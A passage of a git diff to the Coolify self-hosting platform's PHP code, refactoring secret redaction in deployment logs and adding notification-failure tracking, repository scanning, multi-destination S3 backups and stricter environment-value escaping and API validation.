- $lockedVars = collect([]); - - if (isset($this->application->environment_variables)) { - $lockedVars = $lockedVars->merge( - $this->application->environment_variables - ->where('is_shown_once', true) - ->flatMap(fn (EnvironmentVariable $variable): array => $variable->logRedactionValues()) - ->filter() - ); - } - - if (isset($this->pull_request_id) && $this->pull_request_id !== 0 && isset($this->application->environment_variables_preview)) { - $lockedVars = $lockedVars->merge( - $this->application->environment_variables_preview - ->where('is_shown_once', true) - ->flatMap(fn (EnvironmentVariable $variable): array => $variable->logRedactionValues()) - ->filter() - ); - } - - if (isset($this->remote_secrets_cache)) { - $lockedVars = $lockedVars->merge(EnvironmentVariable::remoteSecretLogRedactionValues($this->remote_secrets_cache)); - } - - foreach ($lockedVars as $key => $value) { - $escapedValue = preg_quote($value, '/'); - $text = preg_replace( - '/'.$escapedValue.'/', - REDACTED, - $text - ); - } - - return is_string($text) ? $text : REDACTED; + // Remote secrets come from the job's remote_secrets_cache below, so they are not fetched again. + $this->logRedactionSecrets ??= EnvironmentVariable::logRedactionSecretsFor( + $this->application ?? null, + isset($this->pull_request_id) && $this->pull_request_id !== 0, + resolveRemoteSecrets: false, + ); } catch (\Throwable) { return REDACTED; } + + $remoteSecrets = isset($this->remote_secrets_cache) + ? ($this->remoteSecretLogRedactionValues ??= EnvironmentVariable::remoteSecretLogRedactionValues($this->remote_secrets_cache)) + : []; + + return app(SensitiveDataRedactor::class)->redactText( + $text, + $this->logRedactionSecrets['known'], + array_merge($this->logRedactionSecrets['locked'], $remoteSecrets), + ); + } + + /** + * Remote secrets are never stored in Coolify, so the deployment log model must get them from the job. + */ + private function registerRemoteSecretsForLogs(): void + { + if (isset($this->application_deployment_queue, $this->remote_secrets_cache)) { + $this->application_deployment_queue->redactRemoteSecrets($this->remote_secrets_cache); + } } public function execute_remote_command(...$commands) @@ -81,9 +74,7 @@ trait ExecuteRemoteCommand if ($this->server instanceof Server === false) { throw new \RuntimeException('Server is not set or is not an instance of Server model'); } - if (isset($this->application_deployment_queue, $this->remote_secrets_cache)) { - $this->application_deployment_queue->redactRemoteSecrets($this->remote_secrets_cache); - } + $this->registerRemoteSecretsForLogs(); $commandsText->each(function ($single_command) { $command = data_get($single_command, 'command') ?? $single_command[0] ?? null; if ($command === null) { @@ -181,57 +172,46 @@ trait ExecuteRemoteCommand $remote_command = $input === null ? SshMultiplexingHelper::generateSshCommand($this->server, $command) : SshMultiplexingHelper::generateSshStdinCommand($this->server, $command); - $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->input($input)->start($remote_command, function (string $type, string $output) use ($command, $hidden, $customType, $append, $command_hidden, $skip_command_log) { + $addLogEntry = function (string $type, string $output) use ($command, $hidden, $customType, $command_hidden, $skip_command_log): void { // Sanitize output to ensure valid UTF-8 encoding before JSON encoding - $sanitized_output = sanitize_utf8_text($output); - $log_output = str($sanitized_output)->trim(); + $log_output = str(sanitize_utf8_text($output))->trim(); if ($log_output->startsWith('╔')) { $log_output = "\n".$log_output; } - $new_log_entry = [ - 'command' => $skip_command_log || $command_hidden ? null : $this->redact_sensitive_info($command), - 'output' => $this->redact_sensitive_info($skip_command_log ? $this->redactSensitiveCommandPayloads((string) $log_output, (string) $command) : $log_output), - 'type' => $customType ?? ($type === 'err' ? 'stderr' : 'stdout'), - 'timestamp' => Carbon::now('UTC'), - 'hidden' => $hidden, - 'batch' => static::$batch_counter, - ]; - if (! $this->application_deployment_queue->logs) { - $new_log_entry['order'] = 1; - } else { - try { - $previous_logs = json_decode($this->application_deployment_queue->logs, associative: true, flags: JSON_THROW_ON_ERROR); - } catch (\JsonException $e) { - // If existing logs are corrupted, start fresh - $previous_logs = []; - $new_log_entry['order'] = 1; - } - if (is_array($previous_logs)) { - $new_log_entry['order'] = count($previous_logs) + 1; - } else { - $previous_logs = []; - $new_log_entry['order'] = 1; - } - } - $previous_logs[] = $new_log_entry; - - try { - $this->application_deployment_queue->logs = json_encode($previous_logs, flags: JSON_THROW_ON_ERROR); - } catch (\JsonException $e) { - // If JSON encoding still fails, use fallback with invalid sequences replacement - $this->application_deployment_queue->logs = json_encode($previous_logs, flags: JSON_INVALID_UTF8_SUBSTITUTE); + $this->application_deployment_queue->addLogEntry( + message: $skip_command_log ? $this->redactSensitiveCommandPayloads((string) $log_output, (string) $command) : (string) $log_output, + type: $customType ?? ($type === 'err' ? 'stderr' : 'stdout'), + hidden: $hidden, + command: $skip_command_log || $command_hidden ? null : $command, + batch: static::$batch_counter, + ); + }; + // Output is logged per complete line, so a secret split across two output chunks is still redacted. + $pending = []; + $process = Process::timeout(config('constants.ssh.command_timeout'))->idleTimeout(3600)->input($input)->start($remote_command, function (string $type, string $output) use ($addLogEntry, $append, &$pending) { + $pending[$type] = ($pending[$type] ?? '').$output; + $complete_output = RunRemoteProcess::takeCompleteOutput($pending[$type]); + if ($complete_output !== '') { + $addLogEntry($type, $complete_output); } - $this->application_deployment_queue->save(); - - $this->saveCommandOutput($sanitized_output, $append); + $this->saveCommandOutput(sanitize_utf8_text($output), $append); }); $this->application_deployment_queue->update([ 'current_process_id' => $process->id(), ]); - $process_result = $process->wait(); + try { + $process_result = $process->wait(); + } finally { + foreach ($pending as $type => $output) { + $remaining_output = RunRemoteProcess::takeCompleteOutput($pending[$type], final: true); + if ($remaining_output !== '') { + $addLogEntry($type, $remaining_output); + } + } + } if ($process_result->exitCode() !== 0) { if (! $ignore_errors) { // Check if deployment was cancelled while command was running @@ -324,40 +304,10 @@ trait ExecuteRemoteCommand { $retryMessage = "SSH connection failed. Retrying... (Attempt {$attempt}/{$maxRetries}, waiting {$delay}s)\nError: {$errorMessage}"; - $new_log_entry = [ - 'output' => $this->redact_sensitive_info($retryMessage), - 'type' => 'stdout', - 'timestamp' => Carbon::now('UTC'), - 'hidden' => false, - 'batch' => static::$batch_counter, - ]; - - if (! $this->application_deployment_queue->logs) { - $new_log_entry['order'] = 1; - $previous_logs = []; - } else { - try { - $previous_logs = json_decode($this->application_deployment_queue->logs, associative: true, flags: JSON_THROW_ON_ERROR); - } catch (\JsonException $e) { - $previous_logs = []; - $new_log_entry['order'] = 1; - } - if (is_array($previous_logs)) { - $new_log_entry['order'] = count($previous_logs) + 1; - } else { - $previous_logs = []; - $new_log_entry['order'] = 1; - } - } - - $previous_logs[] = $new_log_entry; - - try { - $this->application_deployment_queue->logs = json_encode($previous_logs, flags: JSON_THROW_ON_ERROR); - } catch (\JsonException $e) { - $this->application_deployment_queue->logs = json_encode($previous_logs, flags: JSON_INVALID_UTF8_SUBSTITUTE); - } - - $this->application_deployment_queue->save(); + $this->registerRemoteSecretsForLogs(); + $this->application_deployment_queue->addLogEntry( + message: $retryMessage, + batch: static::$batch_counter, + ); } } diff --git a/app/Traits/ExecutesDatabaseStartCommands.php b/app/Traits/ExecutesDatabaseStartCommands.php index fca00cafa0..d61cfb3146 100644 --- a/app/Traits/ExecutesDatabaseStartCommands.php +++ b/app/Traits/ExecutesDatabaseStartCommands.php @@ -4,6 +4,7 @@ namespace App\Traits; use App\Services\DatabaseStartCommandExecutor; use Illuminate\Database\Eloquent\Model; +use Illuminate\Support\Collection; use Spatie\Activitylog\Models\Activity; trait ExecutesDatabaseStartCommands @@ -16,4 +17,14 @@ trait ExecutesDatabaseStartCommands return remote_process($commands, $database->destination->server, callEventOnFinish: 'DatabaseStatusChanged', queue: deployment_queue()); } + + /** + * Whether a `KEY=value` list already defines the exact key (not just a key or value containing it). + * + * @param Collection $environmentVariables + */ + private function hasEnvironmentVariable(Collection $environmentVariables, string $key): bool + { + return $environmentVariables->contains(fn ($variable) => str($variable)->before('=')->value() === $key); + } } diff --git a/app/Traits/HandlesNotificationResponse.php b/app/Traits/HandlesNotificationResponse.php new file mode 100644 index 0000000000..8cbc7e2968 --- /dev/null +++ b/app/Traits/HandlesNotificationResponse.php @@ -0,0 +1,73 @@ +successful()) { + $this->settings?->recordDeliverySuccess(); + + return; + } + + if ($response->status() === 429 || $response->serverError()) { + throw new RuntimeException("{$channel} notification failed with {$response->status()} status code."); + } + + // The response body is never part of the reason: it can echo tokens or webhook secrets. + $reason = "{$channel} returned HTTP {$response->status()} (".(HttpResponse::$statusTexts[$response->status()] ?? 'Client Error').').'; + + if ($isConfigurationError) { + $this->settings?->recordDeliveryFailure($reason); + + return; + } + + Log::warning("{$channel} rejected the notification", ['reason' => $reason]); + } +} diff --git a/app/Traits/HasLogRedactionSetting.php b/app/Traits/HasLogRedactionSetting.php new file mode 100644 index 0000000000..5077bb0922 --- /dev/null +++ b/app/Traits/HasLogRedactionSetting.php @@ -0,0 +1,23 @@ +mergeFillable(['redact_all_env_values_in_logs']); + $this->mergeCasts(['redact_all_env_values_in_logs' => 'boolean']); + } + + /** + * Tell if every environment value is hidden in logs. When false, only locked values are hidden. + */ + public function redactsAllEnvValuesInLogs(): bool + { + return $this->redact_all_env_values_in_logs ?? true; + } +} diff --git a/app/Traits/HasMetrics.php b/app/Traits/HasMetrics.php index 712f09a48b..cdf5a9c2e9 100644 --- a/app/Traits/HasMetrics.php +++ b/app/Traits/HasMetrics.php @@ -27,7 +27,63 @@ trait HasMetrics return convertContainerMemoryBytesToMegabytes($metrics); } + /** + * Root filesystem usage percentage over time. Disk history interleaves every + * mount, so we keep only the root mount before mapping. + */ + public function getDiskMetrics(int $mins = 5): ?array + { + $rows = $this->fetchMetricRows('disk', $mins); + if ($rows === null) { + return null; + } + + if (array_any($rows, fn ($row) => array_key_exists('mount', $row))) { + $rows = array_values(array_filter($rows, fn ($row) => ($row['mount'] ?? null) === '/')); + } + + return $this->mapRows($rows, 'usedPercent', $mins); + } + + /** + * Host load average (1 minute) over time. + */ + public function getLoadMetrics(int $mins = 5): ?array + { + return $this->getMetrics('load', $mins, 'load1'); + } + + /** + * Network throughput over time, as separate receive/transmit byte-rate series. + * + * @return array{rx: ?array, tx: ?array}|null + */ + public function getNetworkMetrics(int $mins = 5): ?array + { + $rows = $this->fetchMetricRows('network', $mins); + if ($rows === null) { + return null; + } + + return [ + 'rx' => $this->mapRows($rows, 'rxBytesPerSec', $mins), + 'tx' => $this->mapRows($rows, 'txBytesPerSec', $mins), + ]; + } + private function getMetrics(string $type, int $mins, string $valueField): ?array + { + return $this->mapRows($this->fetchMetricRows($type, $mins), $valueField, $mins); + } + + /** + * Fetch and decode the raw Sentinel history rows for a metric type, or null when + * metrics are disabled. Throws on a Sentinel error response (caller decides whether + * to treat that as fatal or optional). + * + * @return array>|null + */ + protected function fetchMetricRows(string $type, int $mins): ?array { $server = $this->getMetricsServer(); if (! $server->isMetricsEnabled()) { @@ -63,7 +119,21 @@ trait HasMetrics throw new \Exception($error); } - $metrics = collect(json_decode($response, true))->map(function ($metric) use ($valueField) { + return json_decode($response, true) ?: []; + } + + /** + * Map raw rows to [timestampMs, value] pairs, downsampling long ranges. + * + * @param array>|null $rows + */ + private function mapRows(?array $rows, string $valueField, int $mins): ?array + { + if ($rows === null) { + return null; + } + + $metrics = collect($rows)->map(function ($metric) use ($valueField) { return [(int) $metric['time'], (float) ($metric[$valueField] ?? 0.0)]; })->toArray(); diff --git a/app/Traits/HasRepositoryDetection.php b/app/Traits/HasRepositoryDetection.php new file mode 100644 index 0000000000..7a4fced3e4 --- /dev/null +++ b/app/Traits/HasRepositoryDetection.php @@ -0,0 +1,273 @@ +authorize('create', Application::class); + try { + $application = $this->applicationForDetection(); + } catch (\Throwable $e) { + handleError($e, $this); + + return; + } + Validator::make([ + 'branch' => $application->git_branch, + 'base_directory' => $this->base_directory ?? '/', + ], [ + 'branch' => ['required', new ValidGitBranch], + 'base_directory' => ['required', 'string', 'regex:~^/?(?:[a-zA-Z0-9_.-]+/)*[a-zA-Z0-9_.-]*$~', 'not_regex:~(^|/)\.\.?(/|$)~'], + ])->validate(); + + $destination = find_resource_destination_for_current_team(data_get($this->query, 'destination')); + if (! $destination) { + $this->dispatch('error', 'Destination not found.'); + + return; + } + $this->authorize('update', $destination->server); + + $this->detectionRan = false; + $this->detectionFailed = false; + $this->applyDetectionResult(RepositoryDetectionResult::none()); + try { + $detector = new RepositoryDetector($application, $this->base_directory ?? '/', $destination->server); + $this->applyDetectionResult($detector->detect()); + } catch (\Throwable $e) { + // The exception can contain the clone command with a Git token, so do not log the message. + Log::debug('Repository detection failed', ['exception' => $e::class]); + $this->detectionFailed = true; + $this->dispatch('error', 'Smart Scan could not read the repository. Check the repository access and the branch.'); + } + $this->detectionRan = true; + } + + /** + * Builds an application that is not saved, only to generate the clone command for the scan. + */ + protected function unsavedApplicationForDetection(string $repository, string $branch, GithubApp|GitlabApp|null $source = null, ?PrivateKey $privateKey = null): Application + { + $application = (new Application)->forceFill([ + 'git_repository' => $repository, + 'git_branch' => $branch, + 'git_commit_sha' => 'HEAD', + 'private_key_id' => $privateKey?->id, + ]); + $application->setRelation('settings', (new ApplicationSetting)->forceFill([ + 'is_git_shallow_clone_enabled' => true, + 'is_git_submodules_enabled' => false, + ])); + $application->setRelation('source', $source); + $application->setRelation('private_key', $privateKey); + + return $application; + } + + protected function importDetectedEnvironmentVariables(Application $application): void + { + if (! $this->envImported || empty($this->envExampleVars)) { + return; + } + Validator::make(['variables' => $this->envExampleVars], [ + 'variables' => ['array'], + 'variables.*' => ['nullable', 'string'], + ])->validate(); + $application->getConnection()->transaction(function () use ($application): void { + foreach ($this->envExampleVars as $key => $value) { + if (! preg_match('/^[A-Z_][A-Z0-9_]*$/i', (string) $key)) { + continue; + } + EnvironmentVariable::create([ + 'key' => $key, + 'value' => $value, + 'resourceable_type' => $application->getMorphClass(), + 'resourceable_id' => $application->id, + 'is_preview' => false, + ]); + } + }); + } + + protected function applyDetectionResult(RepositoryDetectionResult $result): void + { + $this->detectedDockerfiles = $result->dockerfiles; + $this->detectedDockerComposeFiles = $result->dockerComposeFiles; + $this->dockerfilePorts = $result->dockerfilePorts; + + $this->selectedDockerfile = null; + $this->selectedDockerComposeFile = null; + $this->detectedPort = null; + $this->detectedEnvFiles = []; + $this->parsedEnvFiles = []; + $this->selectedEnvFile = null; + $this->envExampleVars = []; + $this->envImported = false; + + $this->suggestedBuildPack = $result->getSuggestedBuildPack()?->value; + if ($this->suggestedBuildPack && $this->suggestedBuildPack !== $this->build_pack) { + $this->build_pack = $this->suggestedBuildPack; + $this->updatedBuildPack(); + } + + if ($result->hasDockerfile()) { + $this->selectedDockerfile = $result->dockerfiles[0]; + $port = $result->dockerfilePorts[$this->selectedDockerfile] ?? null; + $this->port = $port ?? 3000; + $this->detectedPort = $port; + } + + if ($result->hasDockerCompose()) { + $this->selectedDockerComposeFile = $result->dockerComposeFiles[0]; + $this->docker_compose_location = '/'.$this->selectedDockerComposeFile; + } + + if ($result->hasEnvFiles()) { + $this->detectedEnvFiles = array_keys($result->envFiles); + $this->parsedEnvFiles = []; + foreach ($result->envFiles as $filename => $content) { + $parsed = $content !== null ? parseEnvFormatToArray($content) : []; + // parseEnvFormatToArray returns ['KEY' => ['value' => ..., 'comment' => ...]]. + // Flatten to a plain ['KEY' => 'value'] map for the import form. + $this->parsedEnvFiles[$filename] = collect($parsed) + ->map(fn ($item) => is_array($item) ? (string) ($item['value'] ?? '') : (string) $item) + ->all(); + } + $this->selectedEnvFile = $this->detectedEnvFiles[0]; + $this->envExampleVars = $this->parsedEnvFiles[$this->selectedEnvFile] ?? []; + } + } + + /** + * Repository path without a leading slash, so a typed path matches the detected paths. + */ + protected function normalizeRepositoryFilePath(?string $path): ?string + { + $path = ltrim(trim((string) $path), '/'); + + return $path === '' ? null : $path; + } + + /** + * Dockerfile location for the new application: a detected file or a path the user typed. + */ + protected function selectedDockerfileLocation(): ?string + { + $path = $this->normalizeRepositoryFilePath($this->selectedDockerfile); + if ($path === null) { + return null; + } + $location = '/'.$path; + Validator::make( + ['selectedDockerfile' => $location], + ['selectedDockerfile' => ValidationPatterns::filePathRules()], + ValidationPatterns::filePathMessages('selectedDockerfile', 'Dockerfile'), + )->validate(); + + return $location; + } + + public function updatedSelectedDockerfile(): void + { + $this->selectedDockerfile = $this->normalizeRepositoryFilePath($this->selectedDockerfile); + $this->resetErrorBag('selectedDockerfile'); + $this->selectedDockerfileLocation(); + + $port = $this->dockerfilePorts[$this->selectedDockerfile ?? ''] ?? null; + $this->port = $port ?? 3000; + $this->detectedPort = $port; + } + + public function updatedSelectedDockerComposeFile(): void + { + $this->selectedDockerComposeFile = $this->normalizeRepositoryFilePath($this->selectedDockerComposeFile); + + if ($this->selectedDockerComposeFile) { + $this->docker_compose_location = '/'.$this->selectedDockerComposeFile; + } + } + + public function updatedSelectedEnvFile(): void + { + if ($this->selectedEnvFile && isset($this->parsedEnvFiles[$this->selectedEnvFile])) { + $this->envExampleVars = $this->parsedEnvFiles[$this->selectedEnvFile]; + $this->envImported = false; + } + } + + public function confirmEnvImport(): void + { + $this->envImported = true; + } + + public function clearEnvVars(): void + { + $this->envImported = false; + $this->envExampleVars = $this->parsedEnvFiles[$this->selectedEnvFile] ?? []; + } +} diff --git a/app/Traits/HasS3Destinations.php b/app/Traits/HasS3Destinations.php new file mode 100644 index 0000000000..59668f3961 --- /dev/null +++ b/app/Traits/HasS3Destinations.php @@ -0,0 +1,68 @@ + The primary destination comes first. + */ + public function selectedS3Storages(): Collection + { + $storages = $this->relationLoaded('s3Storages') + ? $this->s3Storages->sortBy('name') + : $this->s3Storages()->orderBy('s3_storages.name')->get(); + + if ($storages->isEmpty()) { + return $this->s3 ? collect([$this->s3]) : collect(); + } + + return $storages + ->sortBy(fn (S3Storage $storage): int => $storage->id === $this->s3_storage_id ? 0 : 1) + ->values(); + } + + /** + * Schedules that send backups to the given storage. + */ + public function scopeUsingS3Storage(Builder $query, int $storageId): Builder + { + return $query->where(fn (Builder $query) => $query + ->where('s3_storage_id', $storageId) + ->orWhereHas('s3Storages', fn (Builder $query) => $query->whereKey($storageId))); + } + + /** + * Gives a cloned schedule the same destinations, limited to storages of the clone's team. + */ + public function copyS3StoragesTo(self $copy): void + { + $copy->s3Storages()->sync( + $this->s3Storages()->where('s3_storages.team_id', $copy->team_id)->pluck('s3_storages.id')->all(), + ); + } + + /** + * Replaces the selected destinations. The current primary destination stays primary when it is still selected. + * + * @param array $storageIds + */ + public function syncS3Storages(array $storageIds): void + { + $storageIds = collect($storageIds)->map(fn ($id): int => (int) $id)->filter()->unique()->values(); + + $this->s3Storages()->sync($storageIds->all()); + $this->s3_storage_id = $storageIds->contains($this->s3_storage_id) ? $this->s3_storage_id : $storageIds->first(); + $this->save(); + } +} diff --git a/app/Traits/HasS3Replicas.php b/app/Traits/HasS3Replicas.php new file mode 100644 index 0000000000..81e935e174 --- /dev/null +++ b/app/Traits/HasS3Replicas.php @@ -0,0 +1,75 @@ +s3Replicas() + ->with('s3') + ->where('s3_uploaded', true) + ->where('s3_storage_deleted', false) + ->get(); + + try { + foreach ($replicas as $replica) { + if (! $replica->s3) { + throw new \RuntimeException('The S3 storage used by an existing backup is unavailable.'); + } + if (filled($this->filename)) { + deleteBackupsS3($this->filename, $replica->s3); + } + $replica->update(['s3_storage_deleted' => true]); + } + } finally { + $this->refreshS3Summary(); + } + } + + public function hasLiveS3Copies(): bool + { + return $this->s3Replicas()->where('s3_uploaded', true)->where('s3_storage_deleted', false)->exists(); + } + + /** + * Writes the replica states to the summary columns: uploaded when every copy uploaded, deleted when every uploaded + * copy is deleted. + */ + public function refreshS3Summary(): void + { + $replicas = $this->s3Replicas()->get(); + if ($replicas->isEmpty()) { + return; + } + + $uploaded = $replicas->where('s3_uploaded', true); + + $this->update([ + 's3_uploaded' => $replicas->every(fn ($replica): bool => $replica->s3_uploaded === true), + 's3_storage_deleted' => $uploaded->isNotEmpty() && $uploaded->every(fn ($replica): bool => $replica->s3_storage_deleted), + ]); + } + + /** + * Executions that have no S3 copy left to keep. + */ + public function scopeWithoutLiveS3Copies(Builder $query): Builder + { + return $query->whereDoesntHave('s3Replicas', fn (Builder $query) => $query + ->where('s3_uploaded', true) + ->where('s3_storage_deleted', false)); + } +} diff --git a/app/Traits/HasSecretManager.php b/app/Traits/HasSecretManager.php index 45a1d8eb3d..dd9195c9af 100644 --- a/app/Traits/HasSecretManager.php +++ b/app/Traits/HasSecretManager.php @@ -3,8 +3,13 @@ namespace App\Traits; use App\Exceptions\RemoteSecretException; +use App\Models\Application; use App\Models\EnvironmentVariable; use App\Models\SecretManagerLink; +use App\Models\Service; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneRedis; use App\Support\RemoteSecretReferences; use App\Support\RemoteSecretValueFormatter; use Illuminate\Database\Eloquent\Model; @@ -69,7 +74,9 @@ trait HasSecretManager return RemoteSecretValueFormatter::dotenv($value); } - return $this->formatLocalEnvironmentVariableValue($environmentVariable, $value); + return $value === null ? null : ($this->useExactEscaping($environmentVariable) + ? escapeComposeEnvFileValue($value, $this->environmentVariableAllowsInterpolation($environmentVariable, $value)) + : $this->legacyFormatEnvironmentVariableValue($environmentVariable, $value)); } /** @@ -92,9 +99,16 @@ trait HasSecretManager */ public function formatComposeFileValue(EnvironmentVariable $environmentVariable, string $value): string { - return $this->environmentVariableUsesSecretManager($environmentVariable) - ? RemoteSecretValueFormatter::composeFile($value) - : $value; + if ($this->environmentVariableUsesSecretManager($environmentVariable)) { + return RemoteSecretValueFormatter::composeFile($value); + } + + if ($environmentVariable->key === 'REDIS_PASSWORD' && $this->useExactEscaping($environmentVariable) + && ($this instanceof StandaloneRedis || $this instanceof StandaloneKeydb || $this instanceof StandaloneDragonfly)) { + return escapeDollarSign($value); + } + + return $this->composeCommandValue($environmentVariable, $value); } /** @@ -119,6 +133,46 @@ trait HasSecretManager return null; } + if (! $this->useExactEscaping($environmentVariable)) { + return $this->legacyFormatEnvironmentVariableValue($environmentVariable, $value); + } + + return $this->environmentVariableAllowsInterpolation($environmentVariable, $value) + ? $value + : escapeDollarSign($value); + } + + /** + * Decides the escaping of a variable for all paths (service .env, database environment, + * Redis password). A variable saved before exact escaping keeps the old escaping, so its + * container gets the same value as before the upgrade. Saving the variable again switches + * it to exact escaping. + */ + public function useExactEscaping(EnvironmentVariable $environmentVariable): bool + { + return ! $environmentVariable->uses_legacy_escaping; + } + + /** + * A variable value for a Docker Compose command or healthcheck. Compose interpolates `$` there + * too, so the value gets the same `$` escaping as in the environment list, and the command uses + * the same value as the container. + */ + public function composeCommandValue(EnvironmentVariable $environmentVariable, string $value): string + { + if (! $this->useExactEscaping($environmentVariable) || $this->environmentVariableAllowsInterpolation($environmentVariable, $value)) { + return $value; + } + + return escapeDollarSign($value); + } + + /** + * The escaping used before exact escaping. Variables saved before the upgrade keep it, + * so their containers get the same values as before. + */ + public function legacyFormatEnvironmentVariableValue(EnvironmentVariable $environmentVariable, string $value): string + { if (json_validate($value) && (str_starts_with($value, '{') || str_starts_with($value, '['))) { return $value; } @@ -128,6 +182,55 @@ trait HasSecretManager : escapeEnvVariables($value); } + /** + * Whether the container gets a different value than the saved value, because this variable + * uses the old escaping. Secret manager values are not fetched here, so they never show it. + */ + public function legacyEscapingChangesValue(EnvironmentVariable $environmentVariable): bool + { + if ($this->useExactEscaping($environmentVariable)) { + return false; + } + + $value = $this->resolvedEnvironmentVariableValue($environmentVariable); + + if (blank($value) || RemoteSecretReferences::containsReference($value)) { + return false; + } + + $isRedisPassword = $environmentVariable->key === 'REDIS_PASSWORD' + && ($this instanceof StandaloneRedis || $this instanceof StandaloneKeydb || $this instanceof StandaloneDragonfly); + + if ($isRedisPassword && str_contains($value, '$')) { + return true; + } + + if (json_validate($value) && (str_starts_with($value, '{') || str_starts_with($value, '['))) { + return str_contains($value, '$') || (! $this instanceof Application && str_contains($value, "\n")); + } + + if ($environmentVariable->is_literal || $environmentVariable->is_multiline) { + // Service and application .env files strip the old single quotes; database environment lists keep them. + return ($this instanceof Service || $this instanceof Application) ? str_contains($value, "'") : true; + } + + return escapeEnvVariables($value) !== $value + || (($this instanceof Service || $this instanceof Application) && str_contains($value, ' #')); + } + + /** + * Only plain values allow Compose $VAR interpolation. + */ + public function environmentVariableAllowsInterpolation(EnvironmentVariable $environmentVariable, string $value): bool + { + $isJson = json_validate($value) && in_array(ltrim($value)[0] ?? '', ['{', '['], true); + + return ! $isJson + && ! $environmentVariable->is_literal + && ! $environmentVariable->is_multiline + && ! $this->environmentVariableUsesSecretManager($environmentVariable); + } + public function resolveSecretManagerEnvironmentVariableValue(EnvironmentVariable $environmentVariable): ?string { $value = $this->resolvedEnvironmentVariableValue($environmentVariable); diff --git a/app/Traits/TracksDeliveryFailures.php b/app/Traits/TracksDeliveryFailures.php new file mode 100644 index 0000000000..8ab56705d4 --- /dev/null +++ b/app/Traits/TracksDeliveryFailures.php @@ -0,0 +1,141 @@ +exists && array_diff(array_keys($settings->getDirty()), ['failure_count']) !== []) { + $settings->failure_count = 0; + } + }); + } + + /** + * The reason must not contain a provider response body. It is shared with the + * team, the team admins, and the instance admins, so it is redacted once more. + */ + public function recordDeliveryFailure(string $reason): void + { + $reason = remove_iip($reason); + $this->increment('failure_count'); + + Log::warning('Notification delivery failed', [ + 'channel' => $this->notificationChannelName(), + 'team_id' => $this->team_id, + 'failure_count' => $this->failure_count, + 'reason' => $reason, + ]); + + if ($this->failure_count < self::DELIVERY_FAILURE_THRESHOLD || ! $this->isEnabled()) { + return; + } + + $this->disableNotificationChannel(); + $this->save(); + + $channel = $this->notificationChannelName(); + + auditLog('notifications.'.Str::lower($channel).'.auto_disabled', [ + 'team_id' => $this->team_id, + 'reason' => $reason, + ], 'warning'); + + send_internal_notification(sprintf( + "%s notifications disabled for team %s after %d failed deliveries.\nReason: %s", + $channel, + $this->team_id, + self::DELIVERY_FAILURE_THRESHOLD, + $reason + )); + + $this->sendChannelDisabledEmail($reason); + $this->notifyOtherChannels($reason); + } + + public function recordDeliverySuccess(): void + { + if ($this->failure_count > 0) { + $this->failure_count = 0; + $this->save(); + } + } + + /** + * Tell the team through its other enabled channels. The disabled channel is + * not in the list anymore, and the "general" event never uses email. The + * root team already gets the internal notification on the same channels. + */ + private function notifyOtherChannels(string $reason): void + { + if ($this->team_id === 0 || ! $this->team) { + return; + } + + $channel = $this->notificationChannelName(); + + $this->team->notify(new GeneralNotification( + "{$channel} notifications were disabled after ".self::DELIVERY_FAILURE_THRESHOLD." failed deliveries in a row.\nReason: {$reason}\nPlease fix the settings and enable {$channel} notifications again: ".base_url().'/notifications/'.Str::lower($channel), + success: false, + )); + } + + /** + * Tell the team admins through the instance email settings, because the + * team's own channel does not work. + */ + private function sendChannelDisabledEmail(string $reason): void + { + if (! is_transactional_emails_enabled() || ! $this->team) { + return; + } + + try { + $channel = $this->notificationChannelName(); + $mail = new MailMessage; + $mail->subject("Coolify: {$channel} notifications were disabled"); + $mail->view('emails.notification-channel-disabled', [ + 'channel' => $channel, + 'failures' => self::DELIVERY_FAILURE_THRESHOLD, + 'reason' => $reason, + 'url' => base_url().'/notifications/'.Str::lower($channel), + ]); + + $admins = $this->team->members()->wherePivotIn('role', ['admin', 'owner'])->get(['users.id', 'users.email']); + foreach ($admins as $admin) { + send_user_an_email($mail, $admin->email); + } + } catch (Throwable $e) { + Log::warning('Failed to send notification channel disabled email: '.$e->getMessage()); + } + } +} diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 46501331e9..ca356fa16a 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -9,6 +9,7 @@ use App\Models\Application; use App\Models\ApplicationSetting; use App\Models\Environment; use App\Models\EnvironmentVariable; +use App\Models\ServerSetting; use App\Models\StandaloneDocker; use App\Models\SwarmDocker; use App\Rules\ManualWebhookSecret; @@ -202,9 +203,11 @@ function sharedDataApplications(?Application $application = null): array 'inject_build_args_to_dockerfile' => 'boolean', 'include_source_commit_in_build' => 'boolean', 'is_env_sorting_enabled' => 'boolean', + 'redact_all_env_values_in_logs' => 'boolean', 'is_pr_deployments_public_enabled' => 'boolean', 'is_gzip_enabled' => 'boolean', 'is_stripprefix_enabled' => 'boolean', + 'traefik_certificate_resolver' => ['nullable', 'string', 'max:255', 'regex:'.ServerSetting::TRAEFIK_CERTIFICATE_RESOLVER_PATTERN], 'is_raw_compose_deployment_enabled' => 'boolean', 'is_log_drain_enabled' => 'boolean', 'is_gpu_enabled' => 'boolean', @@ -240,7 +243,11 @@ function sharedDataApplications(?Application $application = null): array 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], 'health_check_path' => ['string', 'regex:#^[a-zA-Z0-9/\-_.~%,;]+$#'], 'health_check_port' => 'integer|nullable|min:1|max:65535', - 'health_check_host' => ['string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], + 'health_check_host' => ['string', function (string $attribute, mixed $value, Closure $fail): void { + if (! ValidationPatterns::isValidHealthCheckHost($value)) { + $fail('The health check host must be a hostname or an IP address.'); + } + }], 'health_check_method' => 'string|in:GET,HEAD,POST,OPTIONS', 'health_check_return_code' => 'numeric', 'health_check_scheme' => 'string|in:http,https', @@ -472,11 +479,13 @@ function removeUnnecessaryFieldsFromRequest(Request $request) $request->offsetUnset('disable_build_cache'); $request->offsetUnset('inject_build_args_to_dockerfile'); $request->offsetUnset('is_env_sorting_enabled'); + $request->offsetUnset('redact_all_env_values_in_logs'); $request->offsetUnset('is_pr_deployments_public_enabled'); $request->offsetUnset('stop_grace_period'); $request->offsetUnset('docker_images_to_keep'); $request->offsetUnset('is_gzip_enabled'); $request->offsetUnset('is_stripprefix_enabled'); + $request->offsetUnset('traefik_certificate_resolver'); $request->offsetUnset('is_raw_compose_deployment_enabled'); $request->offsetUnset('is_log_drain_enabled'); $request->offsetUnset('is_gpu_enabled'); diff --git a/bootstrap/helpers/applications.php 